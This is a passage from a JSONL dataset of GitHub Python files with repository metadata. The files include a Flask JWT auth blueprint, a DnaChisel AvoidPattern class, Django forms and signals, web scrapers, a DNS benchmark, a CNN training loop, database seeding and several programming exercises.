\"\"\"Set final values for options.\"\"\"\n\n def run(self) -> None:\n \"\"\"Run and remove temporary files.\"\"\"\n for cl in self.clean_list:\n if not os.path.exists(cl):\n logger.info(\"Path %s do not exists.\", cl)\n elif os.path.isdir(cl):\n remove_tree(cl)\n else:\n os.remove(cl)\n logger.info(\"Finish pre_clean process.\")\n\n\nsetup(\n cmdclass={\n \"clean\": CleanCommand,\n },\n)\n","repo_name":"WhaleOps/air2phin","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"26346878690","text":"#!/usr/bin/python3\n\"\"\"\nModule has a function that multiplies 2 matrices\n\"\"\"\n\n\ndef matrix_mul(m_a, m_b):\n \"\"\"\n To multiply two matrices and return the result\n\n Args:\n m_a (list): the first matrix a list of lists with integers or floats\n m_b (list): the second matrix a list of lists with integers or floats\n\n Raises:\n TypeError: if m_a or m_b is not a list\n if one element of the matrices is not an integer or float\n if the rows of m_a or m_b are not of the same size\n\n ValueError: if the rows of m_a or m_b are not of the same size\n \"\"\"\n\n if not isinstance(m_a, list):\n raise TypeError('m_a must be a list')\n if not isinstance(m_b, list):\n raise TypeError('m_b must be a list')\n\n if not all(isinstance(row, list) for row in m_a):\n raise TypeError('m_a must be a list of lists')\n if not all(isinstance(row, list) for row in m_b):\n raise TypeError('m_b must be a list of lists')\n\n if m_a == [[]]:\n raise ValueError(\"m_a can't be empty\")\n if m_b == [[]]:\n raise ValueError(\"m_b can't be empty\")\n\n if not all(\n isinstance(element, (int, float))\n for row in m_a\n for element in row):\n raise TypeError(\"m_a should contain only integers or floats\")\n if not all(\n isinstance(element, (int, float))\n for row in m_b\n for element in row):\n raise TypeError(\"m_b should contain only integers or floats\")\n\n if len(set(len(row) for row in m_a)) > 1:\n raise TypeError(\"each row of m_a must be of the same size\")\n if len(set(len(row) for row in m_b)) > 1:\n raise TypeError(\"each row of m_b must be of the same size\")\n\n rows_a = len(m_a)\n col_a = len(m_a[0])\n rows_b = len(m_b)\n col_b = len(m_b[0])\n\n if col_a != rows_b:\n raise ValueError(\"m_a and m_b can't be multiplied\")\n\n m_result = [[0 for elements in range(col_b)] for elements in range(rows_a)]\n\n for i in range(rows_a):\n for j in range(col_b):\n for k in range(col_a):\n m_result[i][j] += m_a[i][k] * m_b[k][j]\n\n return m_result\n","repo_name":"eddybrownent/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/100-matrix_mul.py","file_name":"100-matrix_mul.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39659602686","text":"from django import forms\nfrom .models import Match\n\nteam_choice = (\n (1,\t'Mumbai Indians'),\n (2,\t'Royal Challengers Bangalore'),\n (3,\t'Chennai Super Kings'),\n (4,\t'Kings XI Punjab'),\n (5,\t'Rajasthan Royals'),\n (6,\t'Delhi Daredevils'),\n (7, 'Sunrisers Hyderabad'),\n (8,\t'Kolkata Knight Riders'),\n)\n\n\n\nclass InningsSecond(forms.Form):\n team2 = forms.ChoiceField(choices=team_choice, widget=forms.Select(),label=\"Your Team\")\n team1 = forms.ChoiceField(choices=team_choice, widget=forms.Select(),label=\"Opponent Team\")\n","repo_name":"syntaxterrorr/IPL-Cricket-Analytics-Tool","sub_path":"web/fourth_umpire/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"7953697184","text":"import logbook\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom ailive.actions.plugins.base import AlivePlugin\n\n_logger = logbook.Logger(__name__)\n\n\nclass AliveBBCNewsPlugin(AlivePlugin):\n def __init__(self, scrape_recent_news=False):\n \"\"\"\n :param scrape_recent_news: if True, the plugin will scrape all the news article titles on the page.\n If False, it will only scrape the news article titles that were posted since plugin was started.\n \"\"\"\n super().__init__()\n self.can_post = False\n # specify the URL of the news website you want to scrape\n self.url = 'https://www.bbc.com/news'\n self.news = []\n self.scrape_recent_news = scrape_recent_news\n if self.scrape_recent_news:\n self.recently_handled_news = []\n else:\n self.recently_handled_news = self.pull_titles()\n\n def get_notifications(self):\n \"\"\"\n This method return the recent news article titles.\n It tries to return each title only once.\n :return: list of news article titles\n \"\"\"\n if not self.news:\n # if there are no news article titles in the list, pull the latest ones\n self.news = [\n title\n for title in self.pull_titles()\n if title not in self.recently_handled_news\n ]\n\n if not self.news:\n _logger.info(\"no new news\")\n return []\n\n _logger.info(f\"news: {self.news}\")\n # remove and return the oldest news article title\n oldest_item = self.news.pop(0)\n\n if oldest_item in self.recently_handled_news:\n _logger.info(f\"news item already handled: {oldest_item}\")\n return []\n\n self.recently_handled_news.append(oldest_item)\n if len(self.recently_handled_news) > 20:\n self.recently_handled_news = self.recently_handled_news[-20:]\n return [oldest_item]\n\n def pull_titles(self):\n # send a request to the website and get the HTML response\n response = requests.get(self.url)\n\n # create a BeautifulSoup object to parse the HTML content\n soup = BeautifulSoup(response.content, 'html.parser')\n\n # find all the news article titles on the page\n titles = []\n\n # print out the titles\n _logger.info(\"titles: \")\n for title in self.extract(soup):\n text = title.get_text()\n _logger.info(text)\n titles.append(text)\n\n return titles\n\n def extract(self, soup):\n return soup.find_all('h3', class_='gs-c-promo-heading__title')\n\n\nclass AliveBBCSportsPlugin(AliveBBCNewsPlugin):\n def __init__(self, scrape_recent_news=False):\n super().__init__(scrape_recent_news)\n self.url = 'https://www.bbc.com/sport'\n\n def extract(self, soup):\n\n return soup.find_all('h3.gs-c-promo-heading__title')\n\n\n","repo_name":"iamaliveai1/ailive","sub_path":"ailive/actions/plugins/readers/bbc_titles_reader.py","file_name":"bbc_titles_reader.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"74992956081","text":"#! /usr/bin/env python\n\nimport statistics\nimport sys\nimport time\n\nimport dns.resolver\n\n\ndef main():\n if len(sys.argv) != 3:\n print(f'{sys.argv[0]} ')\n sys.exit(-1)\n\n input_filename = sys.argv[1]\n dns_server_ip = sys.argv[2]\n\n with open(input_filename, 'r') as f:\n lines = f.readlines()\n\n resolver = dns.resolver.Resolver(configure=False)\n resolver.nameservers = [dns_server_ip]\n\n times = []\n\n for line in lines:\n line = line.strip()\n t0 = time.time()\n try:\n resolver.resolve(line)\n except dns.exception.DNSException as e:\n print(f'Unable to resolve {line}: {e}')\n delta = time.time() - t0\n times.append(delta)\n\n print(\"Mean:\", round(statistics.mean(times) * 1000))\n print(\"Median:\", round(statistics.median(times) * 1000))\n\n percentiles = statistics.quantiles(times, n=100)\n assert(len(percentiles) == 99)\n print(\"P90:\", round(percentiles[90 - 2] * 1000))\n print(\"P95:\", round(percentiles[95 - 2] * 1000))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cyounkins/dns-forwarder-benchmark","sub_path":"bench.py","file_name":"bench.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21948072482","text":"\"\"\"Implement AvoidPattern\"\"\"\n\nfrom ..SequencePattern import SequencePattern\nfrom ..Location import Location\nfrom ..Specification.Specification import Specification\nfrom ..Specification.SpecEvaluation import SpecEvaluation\n\n\nclass AvoidPattern(Specification):\n \"\"\"Enforce that the given pattern is absent in the sequence.\n\n Shorthand for annotations: \"no\".\n\n Parameters\n ----------\n\n pattern\n A SequencePattern or DnaNotationPattern. If a ``str`` is given, it will\n be converted. Note that providing ``size`` may be necessary for certain\n patterns. See SequencePattern documentation for more details.\n\n location\n Location of the DNA segment on which to enforce the pattern e.g.\n ``Location(10, 45, 1)``. For patterns which are not palindromic,\n the strand matters! Use +1 for eliminating the pattern on the +1 strand\n only, -1 for eliminating the pattern on the -1 strand, and 0 for\n eliminating the pattern on both strands. Default ``None`` enforces on\n the whole sequence.\n\n strand\n Alternative way to set the strand, meant to be used in two cases only:\n (1) in a Genbank annotation by setting ``strand=both`` to indicate that\n the pattern should be avoided on both strands (otherwise, only the\n feature's strand will be considered).\n (2) if you want to create a specification without preset location, but\n with a set strand: ``AvoidPattern('BsmBI_site', strand=1)``.\n The default 'from_location' uses the strand specified in ``location``,\n or if that is ``None``, it sets both strands.\n \"\"\"\n\n best_possible_score = 0\n priority = 1\n shorthand_name = \"no\" # will appear as, for instance, @no(BsmBI_site)\n\n def __init__(self, pattern=None, location=None, strand=\"from_location\", boost=1.0):\n \"\"\"Initialize.\"\"\"\n if isinstance(pattern, str):\n pattern = SequencePattern.from_string(pattern)\n self.pattern = pattern\n self.location = Location.from_data(location)\n\n if strand == \"from_location\":\n if self.location is None:\n self.strand = 0\n else:\n self.strand = self.location.strand\n elif strand == \"both\":\n self.strand = 0\n elif strand in [-1, 0, 1]:\n self.strand = strand\n else:\n raise ValueError(\"unknown strand: %s\" % strand)\n\n self.boost = boost\n\n def evaluate(self, problem):\n \"\"\"Return score=-number_of_occurences. And patterns locations.\"\"\"\n locations = self.pattern.find_matches(problem.sequence, self.location)\n score = -len(locations)\n if score == 0:\n message = \"Passed. Pattern not found !\"\n else:\n message = \"Failed. Pattern found at positions %s\" % locations\n return SpecEvaluation(\n self, problem, score, locations=locations, message=message\n )\n\n def short_label(self):\n if self.pattern.name is not None:\n return \"No %s\" % self.pattern.name\n else:\n return \"No %s\" % self.pattern\n\n def breach_label(self):\n if self.pattern.name is not None:\n return str(self.pattern.name)\n else:\n return str(self.pattern)\n\n def initialized_on_problem(self, problem, role=\"constraint\"):\n copy_of_constraint = self._copy_with_full_span_if_no_location(problem)\n copy_of_constraint.location.strand = self.strand\n return copy_of_constraint\n\n def localized(self, location, problem=None, with_righthand=True):\n \"\"\"Localize the pattern to the given location. Taking into account the\n specification's own location, and the size of the pattern.\"\"\"\n if self.location.overlap_region(location) is None:\n return None\n if self.pattern.size is None:\n return self\n extended_location = location.extended(\n self.pattern.size - 1, right=with_righthand\n )\n new_location = self.location.overlap_region(extended_location)\n return self.copy_with_changes(location=new_location)\n\n def label_parameters(self):\n return [(\"pattern\", str(self.pattern))]\n","repo_name":"Edinburgh-Genome-Foundry/DnaChisel","sub_path":"dnachisel/builtin_specifications/AvoidPattern.py","file_name":"AvoidPattern.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","stars":188,"dataset":"github-code","pt":"75"} +{"seq_id":"12451985123","text":"from http import HTTPStatus\n\nfrom extensions.cache import redis_db\nfrom extensions.jwt import jwt\nfrom extensions.limiter import limiter\nfrom flask import Blueprint, request\nfrom flask_jwt_extended import get_jwt, get_jwt_identity, jwt_required\nfrom schemas import user_roles\nfrom services.auth_service import auth_service\n\nauth = Blueprint('auth', __name__)\n\n\n@jwt.token_in_blocklist_loader\ndef check_if_token_is_revoked(jwt_header, jwt_payload: dict):\n jti = jwt_payload[\"jti\"]\n token_in_redis = redis_db.get(jti)\n return token_in_redis is not None\n\n\n@auth.route('/register', methods=['POST'])\ndef register():\n \"\"\"Register user endpoint\n ---\n parameters:\n - name: body\n in: body\n type: string\n required: true\n description: Data to create user in db\n schema:\n $ref: \"#/definitions/UserRegister\"\n definitions:\n UserRegister:\n type: object\n properties:\n email:\n type: string\n password:\n type: string\n confirm_password:\n type: string\n responses:\n 200:\n description: User successfully created.\n 400:\n description: Either wrong data provided or user already exists.\n \"\"\"\n user_data = request.get_json()\n result, status = auth_service.create_user(user_data)\n return result, status\n\n\n@auth.route('/login', methods=['POST'])\n@limiter.limit('1 per second')\ndef login():\n \"\"\"Login user endpoint\n ---\n parameters:\n - name: body\n in: body\n type: string\n required: true\n description: Data to authorize user in service\n schema:\n $ref: \"#/definitions/UserLogin\"\n definitions:\n UserLogin:\n type: object\n properties:\n email:\n type: string\n password:\n type: string\n responses:\n 200:\n description: User successfully created.\n 401:\n description: Either wrong data provided or user does not exist.\n \"\"\"\n user_data = request.get_json()\n user_data['user_agent'] = request.user_agent.string\n return auth_service.login_user(user_data)\n\n\n@auth.route('/refresh', methods=['POST'])\n@jwt_required(refresh=True)\n@limiter.limit('1 per second')\ndef refresh():\n \"\"\"Refresh user tokens endpoint\n ---\n parameters:\n - name: refresh_token\n in: header\n type: string\n required: true\n description: User refresh_token\n responses:\n 200:\n description: Return fresh tokens\n \"\"\"\n identity = get_jwt_identity()\n return auth_service.refresh_token(identity)\n\n\n@auth.route('/logout', methods=['POST'])\n@jwt_required(verify_type=False)\n@limiter.limit('1 per second')\ndef logout():\n \"\"\"Revoke user tokens endpoint. Tokens are added to blocklist untill expiration\n ---\n parameters:\n - name: token\n in: header\n type: string\n required: true\n description: access or refresh token\n responses:\n 200:\n description: Return tokens\n \"\"\"\n token = get_jwt()\n jti = token['jti']\n ttype = token['type']\n return auth_service.revoke_token(jti, ttype)\n \n\n@auth.route('/login-history')\n@jwt_required()\n@limiter.limit('1 per second')\ndef login_history():\n \"\"\"User login history endpoint\n ---\n parameters:\n - name: access_token\n in: header\n type: string\n required: true\n responses:\n 200:\n description: Return login history\n 401:\n description: Invalid access token\n \"\"\"\n page = request.args.get('page', default=1, type=int)\n per_page = request.args.get('per-page', default=10, type=int)\n identity = get_jwt_identity()\n return auth_service.get_login_history(identity, page, per_page)\n\n\n@auth.route('/change-password', methods=['POST'])\n@limiter.limit('1 per second')\ndef change_password():\n \"\"\"User change password endpoint\n ---\n parameters:\n - name: body\n in: body\n type: string\n required: true\n schema:\n $ref: \"#/definitions/UserChangePassword\"\n definitions:\n UserChangePassword:\n type: object\n properties:\n email:\n type: string\n password:\n type: string\n new_password:\n type: string\n responses:\n 200:\n description: Password changed\n 400:\n description: Wrong data provided\n \"\"\"\n user_data = request.get_json()\n return auth_service.change_password(user_data)\n\n\n@auth.route('/check-auth', methods=['GET'])\n@jwt_required()\n@limiter.limit('60 per second')\ndef check_auth():\n identity = get_jwt_identity()\n user = auth_service._check_user_exists(identity)\n if not user:\n return {'message': 'User does not exist.'}, \\\n HTTPStatus.UNAUTHORIZED\n return user_roles.dumps(user)\n","repo_name":"SeergeyL/Auth-sprint-2","sub_path":"src/api/v1/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":4858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10795270536","text":"\nimport sys\ninput = sys.stdin.readline\nt = int(input())\nfor _ in range(t):\n m,n = map(int,input().split())\n board = [list(map(int, input().split())) for _ in range(m)]\n ans = 0\n temp = list(zip(*board))\n for t in temp:\n for i, cell in enumerate(t):\n if cell == 1:\n ans += t[i:].count(0)\n print(ans)\n # for i in range(m, -1, -1):\n # for j in range(n, -1, -1):\n # if board[i][j] == 1: \n# for _ in range(int(input())):\n# m, n = map(int, input().split())\n# data = [list(map(int, input().split())) for _ in range(m)]\n# result = 0\n# for c in range(n):\n# col = []\n# for r in range(m):\n# col.append(data[r][c])\n# for i, cell in enumerate(col):\n# if cell == 1:\n# result += col[i:].count(0)\n# print(result)\n\n\n\n# # for i in range(len(temp)):\n# # for j in range(len(temp[0]) - 1 , -1 , -1):\n\n# # if temp[i][j] == 1:\n# # ans += len(temp[0]) - j - 1\n# # if temp[i].count(1) > 1:\n# # ans -= temp[i].count(1) - 1\n# # print(ans, \"whi\")\n# # print(ans, \"z\")\n# # for i in range(n-1, -1, -1):\n# # for j in range(0, )","repo_name":"hyunjinee/Algorithm","sub_path":"solved.ac/python/9455.py","file_name":"9455.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"37410283944","text":"import os\nimport re\n\nfrom f1 import show_fuel\nfrom f2 import Pump\nfrom f3 import get_member, show_id, show_member\nfrom f4 import is_valid, get_input_fuel\n\nfrom f5 import upload_data\nfrom f6 import visualize_history\nfrom f7 import visualize_all\n\n\n# fungsi menampilkan menu\ndef display_menu():\n menu = [\"-- menu --\",\n \"1. Tampilkan Jenis dan Harga bahan bakar \",\n \"2. Ganti Nomor Pompa\",\n \"3. Tampilkan Informasi Member\",\n \"4. Isi Bahan Bakar\",\n \"5. Upload Data Penjualan\",\n \"6. Tampilkan Visualisasi Penjualan Harian\",\n \"7. Tampilkan Visualisasi Penjualan Sepanjang Waktu\",\n \"0. Exit\"]\n for i in menu:\n print(i)\n\n\n# fungsi utama yang akan dijalankan\ndef main():\n current_pump = Pump(1)\n member = get_member()\n\n is_exit = True\n while is_exit:\n display_menu()\n input_user = input(\"Pilihan menu: \")\n if input_user == '1':\n show_fuel()\n input(\"Press Enter to continue...\")\n elif input_user == '2':\n current_pump.change_pump()\n input(\"Press Enter to continue...\")\n elif input_user == '3':\n if len(member) == 1:\n print(\"- tidak ada member\")\n else:\n show_id()\n id_member = input(\"Masukkan ID member yang ingin ditampilkan: \")\n if is_valid(id_member):\n show_member(id_member)\n else:\n print(\"ID member tidak valid\")\n input(\"Press Enter to continue...\")\n elif input_user == '4':\n show_fuel()\n get_input_fuel(current_pump.number_pump)\n elif input_user == '5':\n upload_data()\n input(\"Press Enter to continue...\")\n elif input_user == '6':\n search_date = input(\"masukkan tanggal: \")\n visualize_history(search_date)\n elif input_user == '7':\n visualize_all()\n elif input_user == '0':\n upload_data()\n is_exit = False\n input(\"Press Enter to continue...\")\n os.system('cls')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"fachryfathurahman/bbm","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33978629342","text":"import modelA\nimport modelB\nimport modelC\nimport modelE\nimport VAE\nimport torch\nimport torch.nn as nn\nimport data\n\nlr_VGG19 = 0.1\nlr_all_cnn = 0.01\nepochs_all_cnn = 350\nepochs_VGG19 = 100\nepochs_VAE = 200\ntotal_step = len(data.train_loader)\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\nmodelA = modelA.ModelA().to(device)\nmodelB = modelB.ModelB().to(device)\nmodelC = modelC.ModelC().to(device)\nmodelE = modelE.ModelE().to(device)\nmodelVAE = VAE.VAE().to(device)\n\n#for ALL-CNN models and VGG19\ncost = nn.CrossEntropyLoss()\nSGD_optimizer = torch.optim.SGD(modelA.parameters(), lr=lr_all_cnn, weight_decay=1e-6, momentum=0.9,nesterov=True)\n\n#for VAE\nadam_optimizer = torch.optim.Adam(modelVAE.parameters(), lr=0.01)\n\nfor epoch in range(epochs_all_cnn):\n for i, (images, labels) in enumerate(data.train_loader):\n images = images.to(device)\n labels = labels.to(device)\n # Forward pass\n outputs = modelA(images)\n loss = cost(outputs, labels)\n # Backward and optimize\n #SGD_optimizer.zero_grad()\n adam_optimizer.zero_grad()\n loss.backward()\n #SGD_optimizer.step()\n adam_optimizer.step()\n if (i+1) % 100 == 0:\n print ('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}' \n .format(epoch+1, epochs_all_cnn, i+1, total_step, loss.item()))\n\n\nwith torch.no_grad():\n correct = 0\n total = 0\n for images, labels in data.test_loader:\n images = images.to(device)\n labels = labels.to(device)\n outputs = modelA(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\n print('Accuracy of the network: {} %'.format(100 * correct / total))\n","repo_name":"Oteranga/VAE-valid-input","sub_path":"SVHN/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31790204128","text":"'''\n명령 프롬프트\n패턴 검색\n같은 길이의 알파벳과 .으로만 이루어진 문자열들을\n?를 최대한 적게 사용해서 찾을 수 있는 패턴 출력\n\n모든 문자열을 동시에 한글자씩 비교해서 하나라도 다르면 ? 박아\n'''\nimport sys;\nn = int(sys.stdin.readline())\narr = [ sys.stdin.readline().rstrip() for i in range(n)]\nlen = len(arr[0])\nresult = []\nfor idx in range(len):\n equal = True\n first_char = arr[0][idx]\n for item in range(1, n):\n if first_char != arr[item][idx]:\n equal = False\n break\n if equal:\n result.append(first_char)\n else:\n result.append('?')\n \nfor i in result:\n sys.stdout.write(i)","repo_name":"snowman95/pyalgo","sub_path":"문자열/1032.py","file_name":"1032.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"39707177954","text":"from django.contrib.auth.models import Group, User\nfrom django.db import models\nfrom django.dispatch import receiver\n\n\n# Use a signal handler to update is_staff when User added to Counselor group\n@receiver(models.signals.m2m_changed, sender=User)\ndef update_counselors_is_staff(sender, instance, action, **kwargs):\n if kwargs.get(\"model\") == Group:\n is_counselor = instance.groups.filter(name=\"Counselor\").exists()\n if action == \"post_add\" and is_counselor:\n instance.is_staff = True\n instance.save()\n elif action == \"post_remove\" and not is_counselor:\n instance.is_staff = False\n instance.save()\n","repo_name":"azavea/echo-locator","sub_path":"src/backend/users/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"7182506314","text":"import importlib\nimport os\nimport time\nfrom pathlib import Path, PosixPath\nfrom typing import Tuple\nfrom unittest import TestCase\n\nimport pytest\n\nfrom zoo.auditing import check_discovery as uut\n\ntest_folder_dir = os.path.dirname(os.path.realpath(__file__))\n\n\ndef test_check_discovery__correct_modules(settings):\n check_modules = (\"correct_first_module\", \"correct_second_module\")\n\n settings.ZOO_AUDITING_ROOT = Path(f\"{test_folder_dir}/tasks\")\n settings.ZOO_AUDITING_CHECKS = check_modules\n\n uut.discover_checks()\n from zoo.auditing.check_discovery import CHECKS, KINDS, PATCHES\n\n assert len(CHECKS) == 11\n\n assert {function.__name__ for function in CHECKS} == {\n \"check_another_dummy_function\",\n \"check_dummy_function\",\n \"check_dummy_function_again\",\n }\n\n for function in CHECKS:\n assert function() == (function.__name__ == \"check_dummy_function\")\n\n assert len(KINDS) == 3\n assert set(KINDS.keys()) == {\n \"something:check_dummy_function\",\n \"something:check_another_dummy_function\",\n \"something:check_dummy_function_again\",\n }\n assert len(PATCHES) == 2\n assert set(PATCHES.keys()) == {\n \"something:check_dummy_function\",\n \"something:check_dummy_function_again\",\n }\n assert KINDS[\"something:check_dummy_function\"].apply_patch() is True\n assert (\n KINDS[\"something:check_dummy_function\"].apply_patch\n == KINDS[\"something:check_dummy_function_again\"].apply_patch\n )\n\n\ndef test_check_discovery__members_not_functions(settings):\n check_modules = (\"members_not_functions\",)\n\n settings.ZOO_AUDITING_ROOT = Path(f\"{test_folder_dir}/tasks\")\n settings.ZOO_AUDITING_CHECKS = check_modules\n\n uut.discover_checks()\n from zoo.auditing.check_discovery import CHECKS, KINDS\n\n assert len(CHECKS) == 4\n\n assert {function.__name__ for function in CHECKS} == {\n \"check_another_dummy_function\",\n \"check_dummy_function\",\n }\n\n for function in CHECKS:\n assert function() == (function.__name__ == \"check_dummy_function\")\n\n assert len(KINDS) == 2\n assert set(KINDS.keys()) == {\n \"something:check_dummy_function\",\n \"something:check_another_dummy_function\",\n }\n\n\ndef test_check_discovery__incorrect_module(settings):\n check_modules = (\"incorrect_module\",)\n\n settings.ZOO_AUDITING_ROOT = Path(f\"{test_folder_dir}/tasks\")\n settings.ZOO_AUDITING_CHECKS = check_modules\n\n uut.discover_checks()\n from zoo.auditing.check_discovery import CHECKS\n\n assert len(CHECKS) == 0\n\n\ndef test_check_discovery__missing_metadata(settings):\n check_modules = (\"missing_metadata\",)\n\n settings.ZOO_AUDITING_ROOT = Path(f\"{test_folder_dir}/tasks\")\n settings.ZOO_AUDITING_CHECKS = check_modules\n\n with pytest.raises(FileNotFoundError):\n uut.discover_checks()\n\n\ndef test_check_discovery__incorrect_metadata(settings):\n check_modules = (\"incorrect_metadata\",)\n\n settings.ZOO_AUDITING_ROOT = Path(f\"{test_folder_dir}/tasks\")\n settings.ZOO_AUDITING_CHECKS = check_modules\n\n with pytest.raises(uut.IncorrectCheckMetadataError):\n uut.discover_checks()\n\n\ndef test_check_discovery__only_folders_module(settings):\n check_modules = (\"only_folders\",)\n\n settings.ZOO_AUDITING_ROOT = Path(f\"{test_folder_dir}/tasks\")\n settings.ZOO_AUDITING_CHECKS = check_modules\n\n uut.discover_checks()\n from zoo.auditing.check_discovery import CHECKS\n\n assert len(CHECKS) == 4\n\n assert {function.__name__ for function in CHECKS} == {\n \"check_another_dummy_function\",\n \"check_dummy_function\",\n }\n\n for function in CHECKS:\n assert function() == (function.__name__ == \"check_dummy_function\")\n\n\ndef test_check_discovery__non_existing_module(settings):\n check_modules = (\"non_existing_module\",)\n\n settings.ZOO_AUDITING_ROOT = Path(f\"{test_folder_dir}/tasks\")\n settings.ZOO_AUDITING_CHECKS = check_modules\n\n with pytest.raises(ModuleNotFoundError):\n uut.discover_checks()\n\n\ndummy_kind = {\n \"namespace\": \"planets\",\n \"category\": \"From whole Universe\",\n \"id\": \"earth\",\n \"title\": \"Earth\",\n \"description\": \"Our home planet\",\n}\n\n\ndef test_kind_severity__default():\n kind = uut.Kind(**dummy_kind)\n assert kind.severity == uut.Severity.UNDEFINED\n\n\n@pytest.mark.parametrize(\"severity\", uut.Severity)\ndef test_kind_severity__valid(severity):\n kind = uut.Kind(severity=severity.value, **dummy_kind)\n assert kind.severity == severity\n\n\ndef test_kind_severity__invalid():\n with pytest.raises(ValueError):\n uut.Kind(severity=\"wrong\", **dummy_kind)\n\n\ndef test_kind_effort__default():\n kind = uut.Kind(**dummy_kind)\n assert kind.effort == uut.Effort.UNDEFINED\n\n\n@pytest.mark.parametrize(\"effort\", uut.Effort)\ndef test_kind_effort__valid(effort):\n kind = uut.Kind(effort=effort.value, **dummy_kind)\n assert kind.effort == effort\n\n\ndef test_kind_effort__invalid():\n with pytest.raises(ValueError):\n uut.Kind(effort=\"wrong\", **dummy_kind)\n\n\n@pytest.mark.parametrize(\n (\"description\", \"details\", \"expected\"),\n [\n (\"Great {details}\", None, \"Great \"),\n (\"Space {details}\", {}, \"Space \"),\n (\"Mission {details}\", {\"details\": \"Apollo 11\"}, \"Mission Apollo 11\"),\n (\n \"Heroes: {astronauts}\",\n {\"astronauts\": [\"Armstrong\", \"Aldrin\", \"Collins\"]},\n \"Heroes: ['Armstrong', 'Aldrin', 'Collins']\",\n ),\n (\"Target: {missed}\", {\"target\": \"Sun\"}, \"Target: \"),\n ],\n)\ndef test_kind__format_description(description, details, expected, kind_factory):\n kind = kind_factory(description=description)\n assert kind.format_description(details) == expected\n","repo_name":"flyasher/zoo-vue-django","sub_path":"test/auditing/test_check_discovery/test_check_discovery.py","file_name":"test_check_discovery.py","file_ext":"py","file_size_in_byte":5695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"34666790520","text":"from main import db\nfrom flask import Blueprint\n\n\ndb_commands = Blueprint(\"db-custom\", __name__)\n\n@db_commands.cli.command(\"create\")\ndef create_db():\n db.create_all()\n print(\"Tables created\")\n\n@db_commands.cli.command(\"drop\")\ndef drop_db():\n db.drop_all()\n db.engine.execute(\"DROP TABLE IF EXISTS alembic_version;\")\n print(\"Tables deleted\")\n\n@db_commands.cli.command(\"seed\")\ndef seed_db():\n from models.Profiles import Profiles\n from faker import Faker\n from models.Users import Users\n from main import bcrypt\n\n faker = Faker()\n\n for i in range(10):\n user = Users()\n user.email = f\"test{i}@test.com\"\n user.password = bcrypt.generate_password_hash(\"123456\").decode(\"utf-8\")\n db.session.add(user)\n #accounts.append(user)\n db.session.commit()\n\n for i in range(10):\n profile = Profiles()\n profile.username = faker.name()\n profile.fname = faker.first_name()\n profile.lname = faker.last_name()\n profile.account_active=faker.boolean()\n profile.user_id = i+1\n profile.github=faker.name()\n db.session.add(profile)\n db.session.commit()\n\n print(\"Tables seeded\")","repo_name":"Karen-Stewart80/Code-Connect-Collaborate","sub_path":"src/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36677269552","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[142]:\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport time\nimport pandas as pd\n\n\n\nwhile True:\n \n # Url for scraping\n url = \"https://coinmarketcap.com/\"\n \n # browser header for scraper\n hdrs = {'User-Agent':\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36',\n 'Accept-Language':'en-US,en;q=0.9'}\n\n # Request for url\n url_response = requests.get(url, hdrs)\n\n\n print(\"response :: \",url_response.ok)\n\n\n # # Making soup\n url_soup = BeautifulSoup(url_response.content,\"lxml\")\n\n\n # # getting tables from website\n tables = url_soup.find_all(\"table\")\n\n\n all_rows_with_tags = {}\n all_tr_tags = []\n\n for table in tables:\n tr_tags = table.find_all(\"tr\")\n \n for i, tr in enumerate(tr_tags):\n all_td_tags = []\n td_tags = tr.find_all(\"td\")\n all_tr_tags.append(tr)\n \n \n for td in td_tags:\n all_td_tags.append(td)\n \n if i>0:\n all_rows_with_tags[i]=all_td_tags\n\n\n # Getting data of top 10 crypto currencies.\n top_10_crypto_data = []\n\n for i in range(1,11):\n crypt_data = []\n\n for td in all_rows_with_tags[i]:\n td_data = td.text.strip()\n if td_data !=\"\":\n crypt_data.append(td_data)\n\n top_10_crypto_data.append(crypt_data)\n\n\n\n # Creating dictionary for names and prices of top 10 